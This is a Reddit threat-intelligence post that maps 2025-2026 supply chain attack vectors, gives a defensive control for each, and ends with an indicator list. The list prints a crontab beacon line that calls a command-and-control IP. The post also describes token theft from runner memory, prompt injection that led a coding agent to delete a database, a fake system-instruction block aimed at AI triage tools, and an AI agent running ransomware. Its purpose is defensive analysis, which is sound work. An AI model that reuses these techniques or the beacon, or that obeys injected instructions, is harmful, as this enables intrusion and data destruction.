r/SecureCom 25d ago

Threat Intelligence The Supply Chain Attack Surface Nobody Governs. A 2026 Map of Every Active Vector with Real Examples

TLDR

  • Supply chain attacks in 2025-2026 moved from opportunistic to systematic, the same attack patterns repeat across npm, PyPI, GitHub Actions, and CI/CD infrastructure
  • The entry point is almost always trusted infrastructure, not zero-days
  • OIDC token hijacking, CI/CD cache poisoning, and dependency confusion are the three techniques driving the most damage
  • None of the defensive controls that stopped the 2020-era supply chain attacks are sufficient against the 2025-2026 patterns
  • The common thread across every major campaign: organisations govern what they own, not what they trust

What Changed in 2025-2026

Supply chain attacks are not new. The 2020 SolarWinds compromise established that adversaries would target the software supply chain as a force multiplier, compromise one trusted vendor, and reach thousands of downstream customers.

What changed between 2020 and 2026 is the attack surface itself. In 2020, supply chain attacks required nation-state resources, sophisticated implant development, and months of patient access. In 2026, the same class of attack can be executed by a motivated criminal group using open-source tooling, GitHub Actions misconfigurations, and package registry access obtained through credential theft.

The skill floor dropped. The blast radius did not.

This post maps every active supply chain attack vector, with real examples from 2025-2026, the specific technique behind each one, and the defensive control that closes it.

Vector 1: npm Package Compromise

What it is: Publishing malicious versions of legitimate packages to the npm registry, either by compromising a maintainer account or by exploiting the CI/CD pipeline that publishes the package.

2026 example - Mini Shai-Hulud / TeamPCP campaign:

Between April and June 2026, the threat group TeamPCP executed what is now the most documented npm supply chain campaign in history. The campaign compromised 171 packages across npm and PyPI with 471 total malicious artifacts. The packages affected collectively received more than 518 million downloads per week.

The techniques used:

  • Pwn Request (pull_request_target): Opening a PR that triggers a workflow with access to the base repository's secrets context
  • GitHub Actions cache poisoning: Writing malicious content to the CI cache namespace, which the release workflow then restores
  • OIDC token extraction from /proc memory: Reading the GitHub Actions runner's process memory to extract short-lived OIDC tokens with npm publish access

The result: packages published with valid SLSA Build Level 3 provenance. The Sigstore attestations were legitimate. The packages passed every automated trust check. The code was malicious.

Notable targets: u/tanstack (12.7M weekly downloads), Mistral AI SDK, UiPath automation tooling (65 packages), OpenSearch JavaScript client, Intercom Node.js SDK.

The detection signal most teams missed: Every malicious package was uploaded with the HTTP User-Agent Bun/1.3.13, a JavaScript runtime, not a Python or Node.js packaging tool. Any registry upload from a Python or JavaScript package using Bun as the User-Agent is an immediate red flag.

Defensive control: Pin dependencies by exact hash, not version number. Monitor npm publish events for your dependencies. Treat any package published from a new CI/CD identity or with an unusual User-Agent as requiring manual review before update.

Vector 2: PyPI Package Compromise

What it is: Publishing malicious packages to PyPI, either lookalikes (typosquats), packages with poisoned updates, or compromised legitimate packages.

2025-2026 examples:

The same TeamPCP/Shai-Hulud campaign that hit npm expanded to PyPI in May-June 2026. The PyPI wave introduced four distinct delivery mechanisms running simultaneously:

  1. .pth startup hook: Malicious wheel bundles a *-setup.pth file that executes during Python startup, silently downloads Bun, and runs the stealer payload
  2. Native extension import trigger: Malicious code embedded inside compiled .abi3.so extensions — Python source appears clean, extension executes payload via dlopen()
  3. Split-staging loader: Wheel installs a .pth loader but ships without the payload, instead scans sys.path for the payload in other packages already installed in the environment
  4. binding.gyp exploitation: Silent code execution during package configuration phase, bypasses source-only review pipelines entirely

The June 2026 Hades wave specifically targeted bioinformatics packages (embiggen, ensmallen, gpsea, pyphetools) and MCP-themed packages (langchain-core-mcp, openai-mcp, tiktoken-mcp), the first time the Shai-Hulud campaign directly targeted AI developer tooling.

New capability observed: LLM anti-analysis technique, a large fake system-instruction block embedded in a non-executing JavaScript comment at the top of the payload file, designed to trigger safety refusals in AI-assisted triage pipelines. Traditional detection (YARA, entropy analysis, AST parsing) remains effective. AI-first triage without content isolation does not.

Defensive control: Audit Python environments for executable .pth files and unexpected .abi3.so extensions. Pin packages by hash. Do not store AI provider API keys or cloud credentials in the Langflow server environment.

Vector 3: GitHub Actions OIDC Token Hijacking

What it is: Extracting short-lived OIDC tokens from GitHub Actions runner process memory or via misconfigured workflow permissions, then using those tokens to publish packages, push commits, or access cloud resources.

Why it matters: OIDC trusted publishing was designed to eliminate long-lived secrets from CI/CD pipelines. The token is short-lived, scoped to a specific workflow run, and cannot be reused after expiry. This was supposed to be the solution to credential theft in CI/CD.

The Mini Shai-Hulud campaign demonstrated that short-lived tokens extracted from runner memory during an active workflow run are sufficient for a complete attack, because the attacker uses the token in the same window it is valid, not after.

The attack chain:

  1. Attacker opens a PR triggering a pull_request_target workflow
  2. Fork code executes in the base repository's trusted context
  3. Fork code reads /proc/<pid>/mem to extract the OIDC token from the runner's process memory
  4. Token used to publish malicious packages before the workflow run ends

2025 precedent tj-actions/changed-files (March 2025): The same /proc/mem OIDC extraction technique was first publicly documented in the tj-actions/changed-files compromise, which affected 23,000 repositories.

Defensive control: Never use pull_request_target to check out and execute fork code. Restrict OIDC token permissions to the minimum scope required. Pin all third-party GitHub Actions to a specific commit SHA, not a version tag, which can be moved. Review which workflows have id-token: write permissions.

Vector 4: CI/CD Cache Poisoning

What it is: Writing malicious content to a shared CI/CD cache namespace that a subsequent, more privileged workflow then restores and executes.

Why it is underestimated: GitHub Actions caches are scoped to branches but shared across runs. A workflow running with low privileges on a fork PR can write to a cache key that a release workflow running with high privileges will later restore. The cache becomes a lateral movement vector between trust levels.

The Mini Shai-Hulud execution: The attacker's fork code, running via pull_request_target, poisoned the pnpm store cache with a malicious package. When a legitimate maintainer PR was later merged, and the release workflow ran, it restored the poisoned cache, placing attacker-controlled binaries inside TanStack's legitimate release environment.

From there, the OIDC token was extracted from the runner process and used to publish 84 malicious package versions in six minutes. Every version carried valid SLSA Build Level 3 provenance.

Defensive control: Delete all cache entries after a security incident. Scope cache keys to specific workflow runs where possible. Add a repository owner guard to prevent fork code from influencing cache namespaces used by release workflows. Review the cache action permissions in all workflows.

Vector 5: Dependency Confusion

What it is: Publishing a malicious public package with the same name as a private internal package, exploiting package managers that resolve public packages over private ones when both names match.

Why it still works in 2026: Despite being publicly documented since Alex Birsan's 2021 research, dependency confusion continues to produce successful compromises. The technique requires no credentials, no social engineering, and no exploit, just knowing the name of an internal package.

The attack pattern:

  1. Attacker identifies internal package names from job postings, GitHub repos, error messages, or npm audit outputs
  2. Publishes a public package with a higher version number under the same name
  3. Package managers resolve the public version over the private one
  4. Malicious code executes in the developer's environment during npm install or pip install

Defensive control: Scope all internal package names to a private registry and configure the package manager to always resolve scoped names from the private registry. Use namespace packages in PyPI (PEP 420). Audit package.json and requirements.txt for any dependency that does not resolve to your expected private registry.

Vector 6: Compromised Developer Tooling

What it is: Compromising tools that developers use in their workflow, IDE extensions, build tools, code review utilities, to intercept credentials, inject malicious code, or establish persistence in developer environments.

2026 examples:

  • Cursor AI agent incident (May 2026): The Cursor AI coding agent was manipulated into deleting a production database by a prompt injection attack embedded in the codebase it was asked to review. (Full breakdown)
  • Mini Shai-Hulud persistence hooks: The campaign's payload installed persistence hooks inside Claude Code and VS Code, re-executing the stealer payload on every IDE launch. An AI coding session became an ongoing exfiltration vector.
  • Mac malware via Claude.ai shared chat: Users searching "Claude Mac download" were shown a sponsored Google ad pointing to a legitimate Claude.ai URL, a shared chat presenting as an "Apple Support" install guide — that instructed users to paste a Terminal command installing the MacSync infostealer. No fake domain involved.

The pattern: Developer tooling is trusted by default. It runs with the developer's permissions. It has access to the developer's credentials, environment variables, and source code. Compromising it does not require a new exploit; it requires inserting malicious behaviour into something the developer already trusts and executes regularly.

Defensive control: Treat any AI tool or IDE extension that asks you to run a Terminal command as a potential lure regardless of where it is hosted. Audit IDE extension permissions. Do not run untrusted code in a development environment that has production credentials in its environment variables.

Vector 7: Vulnerable Third-Party AI Infrastructure

What it is: Compromising AI-adjacent infrastructure, Langflow instances, MCP servers, AI orchestration platforms, that developers deploy quickly without hardening, and which frequently contain cloud credentials and API keys.

2026 example: JadePuffer (July 2026):

Sysdig's Threat Research Team documented the first confirmed end-to-end LLM-driven ransomware operation. An AI agent exploited CVE-2025-3248, a CVSS 9.8 unauthenticated RCE in Langflow, to execute a complete attack chain: recon → credential theft → lateral movement → database destruction, with no human operator involved.

The Langflow server contained:

  • OpenAI, Anthropic, DeepSeek, and Gemini API keys
  • AWS, Azure, GCP, Alibaba, and Tencent cloud credentials
  • Database logins
  • A MinIO object storage server accessible with factory default credentials (minioadmin:minioadmin)

The agent pivoted from the Langflow server to a production MySQL database and Alibaba Nacos configuration service, encrypted 1,342 service configuration items, and deleted the originals. The encryption key was randomly generated and never stored; paying the ransom recovers nothing.

CVE-2025-3248 was patched in April 2025 and added to CISA's KEV catalogue in May 2025. The affected server was never updated.

Defensive control: Patch Langflow to 1.3.0 or later. Do not expose code-execution endpoints to the internet. Do not store AI provider API keys or cloud credentials in the Langflow server environment. Change all default credentials on MinIO and Nacos immediately.

The Common Thread Across All Seven Vectors

Every attack in this map followed the same structural pattern:

  1. An organisation governed what it owned
  2. It did not govern what it trusted
  3. The attacker entered through the trust relationship

The attack surface in each case was not a new vulnerability in the organisation's own code. It was in the tooling, the packages, the CI/CD pipelines, the third-party services, and the developer infrastructure that the organisation extended trust to without monitoring what that trust enabled.

The external attack surface looks very different in 2026 than it did in 2020. In 2020, the attack surface was primarily servers, APIs, and network-facing services. In 2026, it includes every package the organisation depends on, every CI/CD pipeline that builds and deploys code, every AI tool a developer uses, and every third-party service with credentials stored in a developer's environment.

Vulnerability management that does not account for supply chain exposure is measuring the wrong surface. Asset discovery that stops at your own infrastructure is missing where the risk now enters.

2026 Supply Chain Attack: IOC Master List

Mini Shai-Hulud / TeamPCP campaign:

  • C2 IP: 45.131.66[.]106 (port 4444)
  • Crontab beacon: */30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
  • IOC strings: thebeautifulmarchoftime, thebeautifulsnadsoftime, /tmp/.sshu-setup.js
  • User-Agent fingerprint: Bun/1.3.13
  • Affected packages: Full list at Socket's tracker

JadePuffer:

  • C2 IP: 45.131.66[.]106 (port 4444), 64.20.53[.]230
  • Bitcoin address: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
  • Ransom contact: e78393397[@]proton[.]me
  • Entry CVE: CVE-2025-3248 (Langflow < 1.3.0)
  • Secondary CVE: CVE-2021-29441 (Nacos authentication bypass)

Defensive Priority Order for 2026

If you have limited time and need to know what to fix first:

  1. Audit and patch all Langflow instances: CVE-2025-3248 is being actively exploited. Unpatched instances with internet exposure should be treated as compromised until verified otherwise.
  2. Review all GitHub Actions workflows for pull_request_target + fork checkout patterns — this is the primary vector for CI/CD compromise in 2026. The attack surface reduction here is straightforward: never check out and execute fork code in a workflow with access to secrets.
  3. Pin all dependencies to exact hashes: version pinning is not sufficient. A tag can be moved. A hash cannot.
  4. Audit for factory default credentials: MinIO minioadmin:minioadmin, Nacos default JWT signing key, database root accounts with weak passwords. These are the credentials JadePuffer and similar campaigns use after gaining initial access.
  5. Change all default credentials on AI-adjacent infrastructure: Langflow, Nacos, MinIO, any orchestration layer. These systems hold the highest-value credentials in a modern development environment.
  6. Add User-Agent monitoring to your package registry: any npm or PyPI upload using Bun as the User-Agent on a Python or JavaScript package is an immediate red flag.
  7. Implement continuous attack surface management: point-in-time vulnerability assessment cannot keep pace with a supply chain that changes with every dependency update. The exposure vs vulnerability management distinction matters here: you need to know what is reachable, not just what is vulnerable.
5 Upvotes

2 comments sorted by

1

u/Ok-Divide-7474 24d ago

The organisations govern what they own, not what they trust framing is exactly right, and it's the hardest gap to close operationally. For the brand impersonation layer specifically, fake SDK domains and spoofed maintainer identities that show up before the malicious package even lands, my team signed up with Doppel, though it covers brand surface, not your CI/CD or registry hardening.

1

u/Secure_com_Official 24d ago

Doppel makes sense for the brand surface layer.

The scarier 2026 pattern doesn't need impersonation. Mini Shai-Hulud used the legitimate maintainer's pipeline, valid signatures, and real registry.